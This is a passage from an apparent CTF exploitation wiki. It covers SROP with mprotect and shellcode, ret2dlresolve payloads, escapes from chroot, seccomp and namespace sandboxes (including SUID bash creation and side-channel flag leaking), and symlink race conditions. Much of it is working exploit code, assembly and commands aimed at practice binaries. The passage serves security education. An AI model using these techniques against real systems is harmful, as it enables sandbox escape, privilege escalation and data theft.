Shellcode needs to be written somewhere and then executed in place. This means we need some section in the binary that is writable, and executable. This is not often the case in a binary when NX (Non-eXecutable Stack) is enabled. Because of this, we need to be a bit more clever. Luckily we can already control all the registers and perform arbitrary syscalls, so let's just create a writable and executable piece of memory ourselves using `mprotect()`! This is the plan:

1. Use a sigreturn frame to set registers for a `mprotect(start, len, prot)` syscall, creating a big region of rwx (read-write-execute) memory
2. Write shellcode to the rwx location
3. Jump to the written shellcode, and get a shell

There are a few questions left, but let's just start with step one. We want an easy-to-access location where we will make the memory rwx. The call convention for x64 is `(rdi, rsi, rdx)` ([source](https://syscall.sh/)) and the syscall is determined by `rax`. We can use the PwnTools for the syscall, and then choose the start of the binary as a simple address to modify. We'll take a big size, because why not, and set the permissions to 111 meaning everything (rwx).

This will set the registers, but after setting the registers we want to execute the `mprotect()` syscall we created. Luckily we set **all** registers, including `rip`, so we can just set it to where we want to jump: to the `SYSCALL` gadget again:

```renpy
...
rop.call(SYSCALL)

frame = SigreturnFrame()
frame.rax = constants.SYS_mprotect  # = 10
frame.rdi = elf.address             # start of binary (0x400000)
frame.rsi = 0x10000                 # big size
frame.rdx = 0b111                   # rwx = 7 (chmod binary format)
frame.rip = SYSCALL                 # after setting registers, jump to syscall gadget to execute it
rop.raw(frame)  # sigreturn frame right after the rt_sigreturn syscall

payload = flat({
    OFFSET: rop.chain()
})
```

Executing this payload, we can step through slowly in GDB to see what happens. The first trigger of the syscall will perform our sigreturn, and right after the registers are set up for another syscall of `mprotect()`. When the second syscall happened, we can see the result by looking at the permissions of the memory with `vmmap`:

<pre class="language-python"><code class="lang-python"><strong>gef➤ vmmap
</strong>Start            End              Offset           Perm Path
<strong>0x00000000400000 0x00000000401000 0x00000000000000 rwx ./binary
</strong><strong>0x00000000401000 0x00000000402000 0x00000000001000 rwx ./binary
</strong>0x007ffff7ca6000 0x007ffff7cc8000 0x00000000000000 rw- [stack]
0x007ffff7cda000 0x007ffff7cde000 0x00000000000000 r-- [vvar]
0x007ffff7cde000 0x007ffff7ce0000 0x00000000000000 r-x [vdso]
</code></pre>

Here we see the first few sections were modified to have rwx permissions like we wanted.

### Writing shellcode

Now that we made the binary vulnerable, we need to write shellcode at this location, and later jump to it to get a shell. We don't just have a write-anywhere gadget laying around, so we need to be a bit clever again. But we can write something to some memory, using the vulnerable `read()` function that received the input in the first place. That stores the input on the stack, which we might be able to use.

Another problem is the fact that our binary just crashes right after the second `syscall`. This is because **every** register is set, even `rsp`. We did not explicitly give it a value, so it defaulted to 0. This is obviously not a valid address, so the program does not know where the stack is. When it needs something from the stack, like at the `ret` instruction right after, it segfaults. So we'll need to give this register a value too if we want to keep the program running.

The value of `rsp` is a pointer to some address in memory, and the top-most value there will be used as the `rip` after the `ret` instruction. So we actually need to set it to a pointer to a pointer to the code we want to execute. This is a bit tricky because where do we find such a value?\
It turns out, if we look hard enough we can find a pointer to the address of the program entrypoint:

<pre class="language-python"><code class="lang-python"><strong>gef➤  grep 0x000000000040104f
</strong>[+] Searching '\x4f\x10\x40\x00\x00\x00\x00\x00' in memory
[+] In './binary'(0x400000-0x401000), permission=rwx
  0x400018 - 0x400038  →   "\x4f\x10\x40\x00\x00\x00\x00\x00[...]" 
[+] In './binary'(0x401000-0x402000), permission=rwx
  0x4010f0 - 0x401110  →   "\x4f\x10\x40\x00\x00\x00\x00\x00[...]" 
</code></pre>

This perfectly fits our needs. We set the rsp to one of these, and then the `ret` instruction will pop one value from it, jumping to the entrypoint, and restarting the program. We will also again be able to perform the buffer overflow again to regain control over the Instruction Pointer. The only difference is that now the start of the program (0x400000-0x410000) have rwx permissions, and the stack pointer is at 0x400018 if we choose the first address (this address is close to unmapped memory, so consider choosing the second address here).

In this case, we can kill two **birds with one stone**. The stack pointer is now pointing to rwx memory, so any input we provide will be stored in that region! We also know the address of our input because we just set the rsp ourselves. Our plan from here on out will be:

1. Set the `rsp` to 0x400018 to let the program return back to the start of the program
2. When we reach the buffer overflow a second time, include shellcode in the input to write it to the stack (rwx memory now)
3. Finally, overwrite the return address as well to return to our just written shellcode

We can simply add the address to our sigreturn frame:

```renpy
frame.rsp = 0x400018                # pointer to a pointer to the entrypoint
```

This will restart the program from the entrypoint, and eventually end up at the buffer overflow again. Then we will put some shellcode in the input, writing it to the stack. In the end we need to jump to the start of our shellcode, but instead of calculating exactly where this will end up, we'll just write it and search for it later:

```renpy
SHELLCODE = asm(shellcraft.sh())  # Generate /bin/sh shellcode
rop = ROP(elf)

rop.call(0xdeadbeef)  # Replace later with shellcode address in rwx memory

payload = flat({
    OFFSET: [
        rop.chain(),  # Simulate the shellcode situation
        SHELLCODE
    ]
})
```

Running this payload in GDB, we can analyze exactly where the shellcode ends up. A simple way is to just `grep` for the hex values again:

```renpy
print(SHELLCODE.hex())  # 6a6848b82f62696e2f2f2f73504889e7687...
```

Then we step through the program in GDB, until it tries to `ret` to the `0xdeadbeef` address. This is the time where we would need the location of the shellcode, so let's look for it (searching the hex start, with big endianness):

<pre class="language-python"><code class="lang-python"><strong>gef➤  grep 0x6a6848b82f62696e big
</strong>[+] Searching '\x6a\x68\x48\xb8\x2f\x62\x69\x6e' in memory
[+] In './binary'(0x401000-0x402000), permission=rwx
  0x4010f8 - 0x401118  →   "\x6a\x68\x48\xb8\x2f\x62\x69\x6e[...]"
<strong>gef➤  x/20i 0x4010f8
</strong>   0x4010f8:	push   0x68
   0x4010fa:	movabs rax,0x732f2f2f6e69622f
   0x401104:	push   rax
   0x401105:	mov    rdi,rsp
   0x401108:	push   0x1016972
   0x40110d:	xor    DWORD PTR [rsp],0x1010101
   0x401114:	xor    esi,esi
   0x401116:	push   rsi
   0x401117:	push   0x8
   0x401119:	pop    rsi
   0x40111a:	add    rsi,rsp
   0x40111d:	push   rsi
   0x40111e:	mov    rsi,rsp
   0x401121:	xor    edx,edx
   0x401123:	push   0x3b
   0x401125:	pop    rax
   0x401126:	syscall 
   ...
</code></pre>

Perfect, it's stored at 0x4010f8, our rwx region. Now we just need to jump to it in our exploit by replacing the 0xdeadbeef:

```diff
- rop.call(0xdeadbeef)
+ rop.call(0x4010f8)
```

This will jump to the shellcode, and execute from there. Then we will have an interactive shell:

```renpy
p.interactive()
```


# ret2dlresolve

A way to exploit buffer overflows using ROP when not many gadgets are available, and Full RELRO is disabled

Ret2dlresolve is a technique that can be used to trick the binary into resolving a specific function, such as `system()`, into the PLT (Procedure Linkage Table). By doing this, you can use the PLT function as if it was an original component of the binary. This bypasses ASLR and does not require any leaks of the libc address.

The attack is only possible when you can overwrite GOT entries, making it impossible on Full RELRO. On both No RELRO and Partial RELRO this attack is possible however:

![](/files/TRXws7rlAideuMNagDS1)

For a more detailed explanation see:

{% embed url="<https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve>" %}
Detailed analysis and information about ret2dlresolve from ir0nstone's notes
{% endembed %}

## PwnTools

PwnTools contains a [`ret2dlresolve`](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) function that can generate payloads for this attack automatically.

### `read()`

```python
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['sh'])
rop.raw(rop.ret)  # Align stack (64-bit)
rop.read(0, dlresolve.data_addr)  # Call read function to write data
rop.ret2dlresolve(dlresolve)  # Write data

p.sendline(flat({
    OFFSET: rop.chain(),
}))
p.sendline(dlresolve.payload)  # Run /bin/sh

p.interactive()
```

### `gets()`

```python
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['sh'])
rop.raw(rop.ret)  # Align stack (64-bit)
rop.gets(dlresolve.data_addr)  # Call read function to write data
rop.ret2dlresolve(dlresolve)  # Write data

p.sendline(flat({
    OFFSET: rop.chain(),
}))
p.sendline(dlresolve.payload)  # Run /bin/sh

p.interactive()
```


# Sandboxes (chroot, seccomp & namespaces)

Escaping from sandboxes environments by exploiting the capabilities that were left open

## chroot

[chroot](https://en.wikipedia.org/wiki/Chroot) is a command and syscall that means **Ch**ange **Root**, which will *change the meaning of* `/`. You provide it with a path to a directory that will be the jail, and it does two things ([source](https://www.youtube.com/watch?v=C81lO7pG5aA\&list=PL-ymxv0nOtqoxTT-GIMLKt_i4zPKi2HlI)):

1. Point `/` to the jailed directory (eg. `/tmp/jail`)
2. While **inside** the jail, `../` will not go up further than the root (`/tmp/jail/..` -> `/tmp/jail`)

This command or syscall normally needs **root permissions** to work, and can be called like this:

```c
chroot("/tmp/jail")
```

Or in the shell:

```shell-session
chroot /tmp/jail
```

Afterward, any path starting with `/` will be relative to `/tmp/jail`, and if your current directory is `/tmp/jail`, any `../` attempt will stop at `/tmp/jail`. A common pitfall is the fact that paths like `/bin/bash` or even dynamically linked libraries to spawn a shell are also relative to here, so all required functionality needs to be moved into the jail directory to work.

Importantly, what it <mark style="color:red;">**does not**</mark> do is:

* Close existing resources (file descriptors)
* Change the current working directory into the jail

It is not intended to be a security measure, as it is very limited in what it does, and many tricks can get past its protections, as will be explained in the following section.

### Bypasses

#### Current directory still outside `chroot()`

One simple problem might be that the **current directory is not set** inside the jail. This allows you to access any file in your current directory before entering the jail and allows you to use `../` sequences freely. The only catch is that `/` paths will still be relative to the jail.

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ cd /       # move to root first
</strong>$ ./program  # progam might chroot() us to /tmp/jail, but forget to chdir()
<strong># cat /flag  # attempt to access normally
</strong>/tmp/jail/flag: No such file or directory
<strong># cat flag   # flag will be relative to CWD, so /flag is accessed
</strong>CTF{f4k3_fl4g_f0r_t3st1ng}

$ ./program  # start from anywhere outside of /tmp/jail
<strong># cat ../../flag  # directory traversal is still possible
</strong>CTF{f4k3_fl4g_f0r_t3st1ng}
</code></pre>

<details>

<summary><a data-mention href="/pages/DgxIvJn1bWOesmrqZ5cw">/pages/DgxIvJn1bWOesmrqZ5cw</a> (Assembly - <code>readfile.s</code>)</summary>

{% code title="readfile.s" %}

```asmatmel
.global _start
_start:
.intel_syntax noprefix
        mov rax, 2
        lea rdi, [rip+flag]
        mov rsi, 0
        syscall       ; open("flag", O_RDONLY)
        mov rsi, rax  ; use return value (fd)
        mov rax, 40
        mov rdi, 1    ; STDOUT
        mov rdx, 0
        mov r10, 100
        syscall       ; sendfile(STDOUT, flag_fd, 0, 100)
flag:
        .string "../../flag"
```

{% endcode %}

</details>

#### Overwrite `chroot()`

Another big problem is that you can only have **one chroot at a time**, meaning if another chroot is started the previous one will be forgotten. Remember that only users with the `CAP_SYS_CHROOT` capability can call it, but if you are able to it is trivial to escape the jail, even from inside it. This can be done by **moving the jail to somewhere you are not**, such as a new directory you make.

<pre class="language-shellscript"><code class="lang-shellscript">$ ./program             # this time chroot() and chdir() are called
<strong># cat ../../flag  # first attempt fails because ../ inside jail doesn't work
</strong>/tmp/jail/flag: No such file or directory
<strong># mkdir new_dir
</strong><strong># chroot new_dir        # set chroot() to a new directory you are not in
</strong><strong># cat ../../flag  # now ../ is not restricted
</strong>CTF{f4k3_fl4g_f0r_t3st1ng}
</code></pre>

<details>

<summary><a data-mention href="/pages/DgxIvJn1bWOesmrqZ5cw">/pages/DgxIvJn1bWOesmrqZ5cw</a> (Assembly - <code>mkdir-chroot.s</code>)</summary>

{% code title="mkdir-chroot.s" %}

```asmatmel
.global _start
_start:
.intel_syntax noprefix
        mov rax, 83
        lea rdi, [rip+dir]
        mov rsi, 0777
        syscall          ; mkdir("a", rwx)
        mov rax, 161
        lea rdi, [rip+dir]
        syscall          ; chroot("a")

; Now cwd is outside the chroot

        mov rax, 2
        lea rdi, [rip+flag]
        mov rsi, 0
        syscall       ; open("/flag", O_RDONLY)
        mov rsi, rax  ; use return value (fd)
        mov rax, 40
        mov rdi, 1    ; STDOUT
        mov rdx, 0
        mov r10, 100
        syscall       ; sendfile(STDOUT, flag_fd, 0, 100)
dir:
        .string "a"
flag:
        .string "../../flag"
```

{% endcode %}

</details>

#### Open Resources

The last trick is utilizing **already-opened resources** that are outside the jail, which you can still interact with. If you are able to `open` the `/flag` file before being jailed for example, you can still read from the file descriptor it has (starts at 3).

```c
// === Somewhere earlier in the program ===
open("/flag")  // -> returns 3 as fd
chroot(...)
// === In the shellcode ===
//sendfile(int out_fd, int in_fd, off_t *offset, size_t count)
sendfile(1, 3, 0, 100)
```

<details>

<summary><a data-mention href="/pages/DgxIvJn1bWOesmrqZ5cw">/pages/DgxIvJn1bWOesmrqZ5cw</a> (Assembly - <code>fd-sendfile.s</code>)</summary>

{% code title="fd-sendfile.s" %}

```asmatmel
.global _start
_start:
.intel_syntax noprefix
        mov rax, 40
        mov rdi, 1    ; STDOUT
        mov rsi, 3    ; previously open file descriptor of /flag
        mov rdx, 0
        mov r10, 100
        syscall       ; sendfile(STDOUT, flag_fd, 0, 100)
```

{% endcode %}

</details>

The same goes for open directories, where you can use it as a different *relative* directory using syscalls like `openat` instead of `open`, or `fchmodat` instead of `chmod`.

```c
// === Somewhere earlier in the program ===
open("/any/path")  // -> returns 3 as fd
chroot(...)
// === In the shellcode ===
//sendfile(int out_fd, int in_fd, off_t *offset, size_t count)
fd = openat(3, "../../flag", 0)  // -> returns 4 as fd
sendfile(1, fd, 0, 100)
```

<details>

<summary><a data-mention href="/pages/DgxIvJn1bWOesmrqZ5cw">/pages/DgxIvJn1bWOesmrqZ5cw</a> (Assembly - <code>fd-openat.s</code>)</summary>

{% code title="fd-openat.s" %}

```asmatmel
.global _start
_start:
.intel_syntax noprefix
        mov rax, 257
        mov rdi, 3
        lea rsi, [rip+flag]
        mov rdx, 0
        syscall       # openat("/any/path", "../../flag", O_RDONLY)
        mov rsi, rax  # return value (fd)
        mov rax, 40
        mov rdi, 1    # STDOUT
        mov rdx, 0
        mov r10, 100
        syscall       # sendfile(STDOUT, flag_fd, 0, 100)
flag:
        .string "../../flag"
```

{% endcode %}

</details>

This last method is even more powerful because if you are able to start the program yourself via bash (like SetUID), you can let bash open a directory for you using the [`[n]< path`](https://www.gnu.org/software/bash/manual/html_node/Redirections.html#Redirecting-Input) syntax:

```shell-session
# # === same effect as above ===
$ ./program 3< /any/path
```

{% hint style="info" %}
Using the `fchdir` syscall you can also use this trick to change the current directory outside the chroot, and use `../` directory traversal tricks again
{% endhint %}

## seccomp

Seccomp (**sec**ure **comp**uting mode) is built to be a security mechanism, unlike [#chroot](#chroot "mention"). It is a highly customizable way to restrict which **syscalls** are allowed and does so like a network firewall (it even uses the [Berkley Packet Filter](https://en.wikipedia.org/wiki/Berkeley_Packet_Filter), originally made for networking). Often you will see this as an *allowlist* (all blocked except a few) or a *blocklist* (all allowed except a few). Blocklists are inherently dangerous because a developer may forget a dangerous call with unexpected functionality, but syscalls in an allowlist may still give unnecessary permissions that can be exploited.

A simple example of a blocklist using `seccomp` looks like this:

```c
scmp_filter_ctx ctx;  // define context variable to set up rules

// Kill the program on any syscall
ctx = seccomp_init(SCMP_ACT_KILL);
// ... except read (allow)
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0) == 0);
// ... except write (allow)
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0) == 0);
// load the context, rules are applied from now on
seccomp_load(ctx) == 0);
```

This is an irreversible action that will make it so the rules are applied to any code further on the program, such as shellcode and even child processes or forks, but also any code the program contains itself. Because of this, the rules need to be lenient enough to allow regularly required code, but not so lenient that an exploit can abuse it.

### Reading the rules

A good start in trying to bypass these rules is understanding them correctly. While static analysis might be enough for a simple program, a more complex one can be easier to understand through *dynamic analysis*. The following tool implements handy utilities for extracting seccomp rules:

{% embed url="<https://github.com/david942j/seccomp-tools>" %}
A tool to extract and work with seccomp rules
{% endembed %}

The simplest and most common command is `seccomp-tools dump` which takes a binary that it will run. Using `ptrace` it can extract the seccomp rules at runtime and print them to the console:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ seccomp-tools dump ./binary
</strong> line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x25 0xc000003e  if (A != ARCH_X86_64) goto 0008
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0007
 0006: 0x06 0x00 0x00 0x00000000  return KILL
 0007: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0009
 0008: 0x06 0x00 0x00 0x00000000  return KILL
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
</code></pre>

Seccomp rules are built with [Berkeley Packet Filters](https://en.wikipedia.org/wiki/Berkeley_Packet_Filter) (BPF), meaning they have instructions and code flow like assembly. This is what you see dumped and can analyze.

In the above example, it first checks if the architecture is equal to 64-bit syscalls, if not, it will `goto` the `return KILL` command, blocking any 32-bit syscalls. Then step by step the `open`, `openat`, and `execve` syscalls are checked and killed if it is any of those. When it passes through all the checks it ends at `return ALLOW` continuing with the syscall.

In more practical situations you might need some arguments or configuration for the seccomp filter to activate, where this tool won't find them yet by just running the binary. A simple trick for passing **arguments** is creating a `.sh` file that starts the program how you want it, then analyze *that*:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ nano start.sh
</strong>./binary arg1 arg2 arg3
<strong>$ chmod +x start.sh
</strong><strong>$ seccomp-tools dump ./start.sh
</strong>...
</code></pre>

Lastly, you can even **attach to a running process** with this tool if the process is in a seccomp'ed state you would like to analyze.

```shell-session
sudo seccomp-tools dump -p 1337
sudo seccomp-tools dump -p `pidof binary`
```

### Bypasses

There is no clean-cut way to "bypass" any seccomp configuration, and it really depends on what specific syscalls are allowed or denied. With that being said, there are some tricks developers might not expect that can still lead to a big impact ([source](https://www.youtube.com/watch?v=h1L9mF6PHlQ\&list=PL-ymxv0nOtqoxTT-GIMLKt_i4zPKi2HlI)).

#### Overly permissive policies

When common syscalls like `open` are blocked, there may be syscalls the developer forgot to block. Something like `openat` might still be allowed, while it can do almost the same using a Directory File Descriptor (DFD). In this specific case, a useful variable is `AT_FDCWD` which has a value of `-100`. It is a default DFD that points to the current working directory, meaning it can be used as a valid DFD in the `...at` versions of syscalls.

There are simply a ton of syscalls, making a blocklist hard to make secure. You can check out a [table of all syscalls](https://x64.syscall.sh/) to find one that seems interesting and is allowed, and get more information about an unknown syscall using the `man 2` command for syscalls (eg. `man 2 openat`).

#### Architecture Confusion

This is a special case. There are two types of syscalls: `syscall` for 64-bit and `int 0x80` for 32-bit. These architectures have different syscall numbers dependent on `rax` and `eax` respectively. By **default**, seccomp will **kill all 32-bit syscalls**. However, in certain non-default situations, you might find the 32-bit syscalls are enabled and more permissive than 64-bit. They can be enabled with the following line, and afterward need to be handled separately from 64-bit syscalls:

```c
seccomp_arch_add(ctx, SCMP_ARCH_X86);
```

To exploit this, simply use a [32-bit syscall table ](https://x86.syscall.sh/)and `int 0x80` instructions instead of `syscall`. During compilation you don't need to do anything special, here is an example:

{% code title="32-bit.s" %}

```asmatmel
        mov eax, 5
        lea ebx, [rip+flag]
        mov ecx, 0
        int 0x80       ; open("flag", O_RDONLY)
        mov ecx, eax   ; return value (fd)
        mov eax, 187
        mov ebx, 1     ; STDOUT
        mov edx, 0
        mov esi, 100
        int 0x80       ; sendfile(STDOUT, flag_fd, 0, 100)
flag:
        .string "flag"
```

{% endcode %}

#### Side Channels

While you might want to execute a shell using `execve()`, sometimes leaking secrets can be enough. If you find yourself being able to *access* sensitive information without being able to exfiltrate it to yourself, think about possible Side Channels. Even **1 bit** of information can eventually be a full secret if repeated often enough. Here are some ideas:

* The **exit code** of the program is 8 bits (0-255), using `exit()`: In bash, you can check the exit code of the previous command with the `$?` variable, and executing a program in any programming language often returns its 8-bit exit code. If you are able to read it you can exfiltrate 8 bits in one go, like one character of a string. Then repeatedly do this for each character in the string.
* The **runtime** of a program, similar to Blind SQL Injection (`sleep()`, long computation, loop): To be efficient, this is a balance between a low wait for fast attempts, and a long enough wait to be able to confidently measure the difference. This scenario can be useful if there is really no response from the program, like in a remote setting.
* **Crash** vs no crash: In some cases, it is obvious that a program crashed, because the application explicitly told you with an *error message* or simply if some *expected output* is missing. This can tell you 1 bit of information by either crashing or continuing execution, and the way to exploit this is similar to using the runtime of the program.

Using the exit code is pretty straightforward. We will read the flag into memory, then load a byte of it into the `exit()` argument, and call the function. In Assembly, we could leak the first byte:

```asmatmel
mov rax, 0
mov rdi, 3          ; "/flag" fd (already open)
lea rsi, [rsp-100]  ; read onto stack
mov rdx, 100
syscall             ; read("flag", flag, 100)
mov rax, 60
mov rdi, [rsi+0]    ; offset here is 0, increment for next byte
syscall             ; exit(flag[0])
```

This might give exit code 67 when we check using `echo $?`, which corresponds to the `C` character. To leak the whole secret, we simply keep doing this while incrementing the offset:

<details>

<summary>Python Script (go through all bytes)</summary>

```python
from pwn import *

elf = context.binary = ELF('./binary')

flag = b""
for i in range(100):
    # Dynamically compile the assembly needed
    payload = asm(f"""
        mov rax, 0
        mov rdi, 3
        lea rsi, [rsp-100]
        mov rdx, 100
        syscall
        mov rax, 60
        mov rdi, [rsi+{i}]  # <- insert i (offset) here
        syscall
    """)

    p = process()
    p.send(payload)

    exit_code = p.poll(True)  # Block until program exits
    flag += bytes([exit_code])
    print(flag)

    p.close()
```

</details>

When the exit code is not directly visible, you might be able to get a boolean response using the time or crash method. Implementing this can be done in various ways, but the simplest and most efficient way is to simply take the `n`th bit, and decide what to do depending on that bit.

To crash the program, you could read/write from an unmapped address for a 1, and simply `ret` for a 0. This is nicer than a time-based boolean result because you get an instant yes/no response, allowing quicker and more confident extraction. To extract a single bit in assembly, you can first use a **byte** offset, and then shift it using a **bit** offset:

```asmatmel
    mov rax, 0
    mov rdi, 3
    lea rsi, [rsp-100]
    mov rdx, 100
    syscall
    mov al, BYTE PTR [rsi+1]  ; 8a 46 01 (01 is byte placeholder)
    and al, 2                 ; 24 02    (02 is bit  placeholder)
    jnz crash                 ; jump depending on result
    ret
crash:
    mov QWORD PTR [rax], 0    ; Write at a random unmapped address
```

We can then dynamically change this payload to get any byte and bit we need. In a Python script we go through all the bits to slowly recover the whole secret:

<details>

<summary>Python Script (go through all bits)</summary>

```python
from pwn import *

elf = context.binary = ELF('./binary')

PAYLOAD = asm("""
    mov rax, 0
    mov rdi, 3
    lea rsi, [rsp-100]
    mov rdx, 100
    syscall
    mov al, BYTE PTR [rsi+1]  # 8a 46 01
    and al, 2                 # 24 02
    jnz crash
    ret
crash:
    mov BYTE PTR [rax], 0
""")

def get_bit(offset):
    p = process([elf.path, '/flag'])
    byte = offset // 8
    bit = offset % 8
    
    payload = PAYLOAD  # Replace byte and bit placeholders
    payload = payload.replace(b"\x8a\x46\x01", bytes([0x8a, 0x46, byte]))
    payload = payload.replace(b"\x24\x02", bytes([0x24, 1 << bit]))

    p.send(payload)
    exit_code = p.poll(True)  # Block until exit
    p.close()
    
    if exit_code not in [-11, -31]:
        return get_bit(offset)  # something unexpected happened, try again
    
    return exit_code == -11


flag = b""
binary = ""
i = 0
while not flag.endswith(b"}"):
    binary = ("1" if get_bit(i) else "0") + binary
    print(f"{binary: >8}")  # Build out byte in binary first
    
    if len(binary) == 8:  # If full byte, convert to ASCII
        flag += bytes([int(binary, 2)])
        binary = ""
        print(flag)
    
    i += 1
```

</details>

## Namespaces

The workings of namespaces can go very complex, so this section will not go very deep. It will only show a few simple ideas on how to escape from namespaces with specific permissive features.

One dangerous part of namespaces is the ability to **mount** the host filesystem in the sandboxed environment. If you can read/write as a high-privilege user in the sandbox, you can do the same on the mount. This is the most interesting when you have access to a low user on the host machine, and access to a high user inside the sandbox. These can interact with each other to possibly receive high privileges on the host machine.

Imagine there is a `/data` directory mounted to `/tmp/data` in the sandbox that comes from the host. When you can write here, you can create a SetUID binary as the high-privilege user to then access as the low-privilege user on the host machine:

<pre class="language-shellscript"><code class="lang-shellscript">$ ./program    # Enter sandbox
<strong># cp /bin/bash /data/bash  # Create a shell binary through mount on the host
</strong><strong># chmod +s /data/bash      # Set SetUID permissions on the shell binary
</strong># # === using shellcode ===
<strong># chmod("/data/bash", 06777)
</strong>
# # Back on the host machine
<strong>$ /tmp/data/bash -p        # Execute the created SUID shell
</strong>bash-5.0#
</code></pre>

Even when there is no directory explicitly mounted, you may be able to write a SetUID shell and access it on the host through the jail directory. Similarly to [#chroot](#chroot "mention"), namespaces can use `pivot_root` to change the `/` to somewhere else. If you can make this directory accessible to the low-privilege host user, however, you may be able to access the SetUID shell again because it exists on the same filesystem:

<pre class="language-shellscript"><code class="lang-shellscript">$ ./program    # Enter sandbox
<strong># cp /bin/bash bash  # Create shell binary
</strong><strong># chmod +s bash      # Set SetUID permissions as root
</strong><strong># chmod 777 .        # Allow low-privilege host user to access the jail directory 
</strong>
# # Back on the host machine
<strong>$ /tmp/jail/bash -p        # Execute the created SUID shell
</strong>bash-5.0#
</code></pre>


# Race Conditions

Multiple processes running at the same time messing with each other or interrupting code with other code to create brief flawed states

## Description

To make programs faster, developers often implement parallelism, or accept multiple connections at once, handling each one in a separate thread. This essentially makes it possible for pieces of code to run at the same time, which in actuality means the CPU can schedule freely between the instructions. While sometimes useful, this can also cause unexpected situations if these simultaneous processes **depend** **on each other**. Below you can see some different possibilities for instruction ordering if the `P1` and `P2` processes execute at the same time:

<figure><img src="/files/eAFhGHJzKPw7Ay6mdNQx" alt=""><figcaption><p>4 different execution orders with potentially unexpected results highlighted (<a href="https://www.youtube.com/watch?v=jXQ8Y5B2sc0&#x26;list=PL-ymxv0nOtqq2SWDP1K1pXCpT6nkmyiXh&#x26;t=247">source</a>)</p></figcaption></figure>

1. Regular execution, where the processes don't influence each other. This may happen randomly if the CPU decides to schedule it this way
2. `P1` `do_action()` is called between `P2` `check_input()` and `P2` `do_action()`, which may change the state that the check `P2` verified, before performing the action
3. The whole of `P2` executes in between `P1` `check_input()` and `P1` `do_action()`, which is a higher chance of being able to change the state that `P1` checked
4. A more complex interaction, where first `P2` `do_action()` intercepts a check and action from `P1`, but afterward `P1` does the same back to a `P2` `do_action()`, causing 2 race conditions

These behaviors are called **T**ime **O**f **C**heck, **T**ime **O**f **U**se (**TOCTOU**) vulnerabilities. The problem is when a program checks something securely, but in the time it is **checked** and the time it is **used**, something **changes**. This kind of vulnerability can also happen when a check is performed *after* the resource becomes usable , which opens up a timeframe where it can be abused before being deleted. It can cause all sorts of vulnerabilities depending on what the check is trying to prevent.

While reviewing code that can run at the same time, you should always think about if something can change between a check, and a use, as well as if anything is exposed for a small period of time. Often even the tightest timing windows are exploitable due to rapid attempts.

Exploitability is increased by making **faster and more attempts**, as well as **increasing the vulnerable window**. These factors depend on

## Filesystem

A common place for these vulnerabilities to show up is on the filesystem. A file might be checked for malicious input like its length for a buffer overflow, but by the time the file is used by the program sometime after it might have changed, and become malicious when it was previously safe.

Here is an example of a classic vulnerability:

<pre class="language-shellscript" data-title="read.sh"><code class="lang-shellscript">#!/bin/bash
# Goal: read /flag

file="$1"
# Check if the file contains "flag"
<strong>if [[ "$file" != *"flag"* ]]; then
</strong>    # Check if the file is a symlink
<strong>    if [ ! -h "$file" ]; then
</strong><strong>        # &#x3C; EXPLOITABLE WINDOW >
</strong><strong>        cat "$file"
</strong>    else
        echo "Error: File is a symlink."
    fi
else
    echo "Error: File may not contain 'flag'."
fi
</code></pre>

It's not possible to directly pass `/flag`, because it would contain the "flag" string. Even a symlink referencing the file would not work because that is also checked before opening it. The vulnerability however is that the path is **opened again** by `cat` after checking, which opens a time window where the file could **turn into a symlink** referencing `/flag`.

To exploit it, we don't need to be successful every time. With many attempts, while quickly swapping in and out the file, we will at some time get lucky where the swap happens right in between the exploitable window. We can first build a simple `while` loop in Bash that runs the program on a regular file over and over again:

{% code title="Terminal 1" %}

```shell-session
while true; do ./read.sh file; done
```

{% endcode %}

Then as the attack, we need to write a regular file first that will pass the checks, and then **replace** that file with a symlink to the flag, which we hope will eventually happen right before `cat` runs:

{% code title="Terminal 2" %}

```bash
while true; do 
    echo 'Hello, world!' > file
    rm file
    ln -s /flag file
    rm file
done
```

{% endcode %}

Running both of these loops in separate terminal windows, we find inconsistent output like this with the flag every once in a while:

<pre data-title="Output"><code>...
cat: file: No such file or directory
cat: file: No such file or directory
Hello, world!
Error: File is a symlink.
<strong>CTF{f4k3_fl4g_f0r_t3st1ng}
</strong></code></pre>

### Faster Attempts - `RENAME_EXCHANGE`

The example above works pretty often because there is a while startup of the `cat` command between the check, and `open()`'ing the file. The window will not always be this big if the check and read happen within the same process for example. In such cases, the whole `while true` loop of creating a file, removing it, creating a symlink, and removing it will take too much time. A faster operation is **moving** a regular file in place, and then swapping it with a symlink file.

You might try making more bash commands, but there actually exists a perfect **syscall** that **swaps two files**, by performing `renameat2` with the `RENAME_EXCHANGE` option. The two files given as arguments are then renamed to each other, which can be looped infinitely as fast as possible to get much faster speeds and a higher chance of success:

<pre class="language-c" data-title="swap.c"><code class="lang-c">#include &#x3C;stdio.h>
#include &#x3C;fcntl.h>
#include &#x3C;unistd.h>
#include &#x3C;sys/syscall.h>
#include &#x3C;linux/fs.h>

int main(int argc, char *argv[]) {
    if (argc != 3) {
        printf("Usage: %s &#x3C;file1> &#x3C;file2>\n", argv[0]);
        return 1;
    }

    while (1) {
<strong>        syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
</strong>    }

    return 0;
}
</code></pre>

```shell-session
gcc swap.c -o swap -O3 -static
./swap [file] [link]
```

Running this binary will swap the files you provide very quickly (\~25.000/s). We can exploit the symlink example if we prepare a regular file and a symlink file, then swap them with this binary:

```shell-session
$ echo 'Hello, world!' > file
$ ln -s /flag link
$ ./swap file link

# # In a new terminal
$ while true; do ./read.sh file; done
...
Hello, world!
